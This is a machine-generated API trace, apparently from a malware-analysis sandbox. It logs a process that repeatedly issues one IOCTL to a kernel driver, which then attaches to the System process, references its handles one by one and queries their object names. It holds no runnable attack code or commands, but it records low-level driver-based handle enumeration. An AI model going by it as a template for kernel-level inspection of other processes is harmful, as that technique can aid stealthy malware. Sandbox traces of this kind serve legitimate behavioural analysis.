[0135.150] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.150] PsAcquireProcessExitSynchronization () returned 0x0 [0135.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0135.150] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.150] PsReleaseProcessExitSynchronization () returned 0x2 [0135.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.150] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.150] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0135.150] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.150] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.151] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.151] PsAcquireProcessExitSynchronization () returned 0x0 [0135.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.151] ObReferenceObjectByHandle (in: Handle=0xffffffff8000071c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002131220, HandleInformation=0x0) returned 0x0 [0135.151] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.151] PsReleaseProcessExitSynchronization () returned 0x2 [0135.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.151] ObQueryNameString (in: Object=0xfffffa8002131220, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.151] ObfDereferenceObject (Object=0xfffffa8002131220) returned 0x2 [0135.151] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.151] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.151] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.151] PsAcquireProcessExitSynchronization () returned 0x0 [0135.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.151] ObReferenceObjectByHandle (in: Handle=0xffffffff80000720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800dea31f0, HandleInformation=0x0) returned 0x0 [0135.151] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.151] PsReleaseProcessExitSynchronization () returned 0x2 [0135.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.151] ObQueryNameString (in: Object=0xfffffa800dea31f0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.151] ObfDereferenceObject (Object=0xfffffa800dea31f0) returned 0x2 [0135.151] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.151] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.151] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.151] PsAcquireProcessExitSynchronization () returned 0x0 [0135.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.151] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003428360, HandleInformation=0x0) returned 0x0 [0135.151] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.152] PsReleaseProcessExitSynchronization () returned 0x2 [0135.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.152] ObQueryNameString (in: Object=0xfffffa8003428360, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.152] ObfDereferenceObject (Object=0xfffffa8003428360) returned 0x2 [0135.152] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.152] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.152] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.152] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.152] PsAcquireProcessExitSynchronization () returned 0x0 [0135.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.152] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002149dd0, HandleInformation=0x0) returned 0x0 [0135.152] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.152] PsReleaseProcessExitSynchronization () returned 0x2 [0135.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.152] ObQueryNameString (in: Object=0xfffffa8002149dd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.152] ObfDereferenceObject (Object=0xfffffa8002149dd0) returned 0x2 [0135.152] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.152] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.152] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.152] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.152] PsAcquireProcessExitSynchronization () returned 0x0 [0135.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.152] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0135.152] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.152] PsReleaseProcessExitSynchronization () returned 0x2 [0135.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.152] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.152] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0135.152] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.152] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.152] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.153] PsAcquireProcessExitSynchronization () returned 0x0 [0135.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.153] ObReferenceObjectByHandle (in: Handle=0xffffffff8000073c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f5890, HandleInformation=0x0) returned 0x0 [0135.153] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.153] PsReleaseProcessExitSynchronization () returned 0x2 [0135.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.153] ObQueryNameString (in: Object=0xfffffa80037f5890, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.153] ObfDereferenceObject (Object=0xfffffa80037f5890) returned 0x2 [0135.153] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.153] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.153] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.153] PsAcquireProcessExitSynchronization () returned 0x0 [0135.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.153] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002b6f3e0, HandleInformation=0x0) returned 0x0 [0135.153] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.153] PsReleaseProcessExitSynchronization () returned 0x2 [0135.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.153] ObQueryNameString (in: Object=0xfffffa8002b6f3e0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.153] ObfDereferenceObject (Object=0xfffffa8002b6f3e0) returned 0x2 [0135.153] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.153] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.153] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.153] PsAcquireProcessExitSynchronization () returned 0x0 [0135.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.153] ObReferenceObjectByHandle (in: Handle=0xffffffff80000748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003421680, HandleInformation=0x0) returned 0x0 [0135.153] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.153] PsReleaseProcessExitSynchronization () returned 0x2 [0135.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.153] ObQueryNameString (in: Object=0xfffffa8003421680, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.153] ObfDereferenceObject (Object=0xfffffa8003421680) returned 0x2 [0135.153] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.154] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.154] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.154] PsAcquireProcessExitSynchronization () returned 0x0 [0135.154] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.154] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800200a7c0, HandleInformation=0x0) returned 0x0 [0135.154] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.154] PsReleaseProcessExitSynchronization () returned 0x2 [0135.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.154] ObQueryNameString (in: Object=0xfffffa800200a7c0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.154] ObfDereferenceObject (Object=0xfffffa800200a7c0) returned 0x2 [0135.154] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.154] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.154] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.154] PsAcquireProcessExitSynchronization () returned 0x0 [0135.154] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.154] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0135.154] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.154] PsReleaseProcessExitSynchronization () returned 0x2 [0135.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.154] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.154] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0135.154] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.154] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.154] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.154] PsAcquireProcessExitSynchronization () returned 0x0 [0135.154] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.154] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800e8c0f20, HandleInformation=0x0) returned 0x0 [0135.155] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.155] PsReleaseProcessExitSynchronization () returned 0x2 [0135.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.155] ObQueryNameString (in: Object=0xfffffa800e8c0f20, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.155] ObfDereferenceObject (Object=0xfffffa800e8c0f20) returned 0x2 [0135.155] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.155] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.155] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.155] PsAcquireProcessExitSynchronization () returned 0x0 [0135.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.155] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0135.155] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.155] PsReleaseProcessExitSynchronization () returned 0x2 [0135.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.155] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.155] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0135.155] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.155] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.155] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.155] PsAcquireProcessExitSynchronization () returned 0x0 [0135.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.155] ObReferenceObjectByHandle (in: Handle=0xffffffff80000760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80038ed520, HandleInformation=0x0) returned 0x0 [0135.155] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.155] PsReleaseProcessExitSynchronization () returned 0x2 [0135.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.155] ObQueryNameString (in: Object=0xfffffa80038ed520, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.155] ObfDereferenceObject (Object=0xfffffa80038ed520) returned 0x2 [0135.155] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.156] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.156] PsAcquireProcessExitSynchronization () returned 0x0 [0135.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.156] ObReferenceObjectByHandle (in: Handle=0xffffffff8000076c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ed56c0, HandleInformation=0x0) returned 0x0 [0135.156] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.156] PsReleaseProcessExitSynchronization () returned 0x2 [0135.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.156] ObQueryNameString (in: Object=0xfffffa8001ed56c0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.156] ObfDereferenceObject (Object=0xfffffa8001ed56c0) returned 0x2 [0135.156] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.156] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0135.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.156] PsAcquireProcessExitSynchronization () returned 0x0 [0135.156] 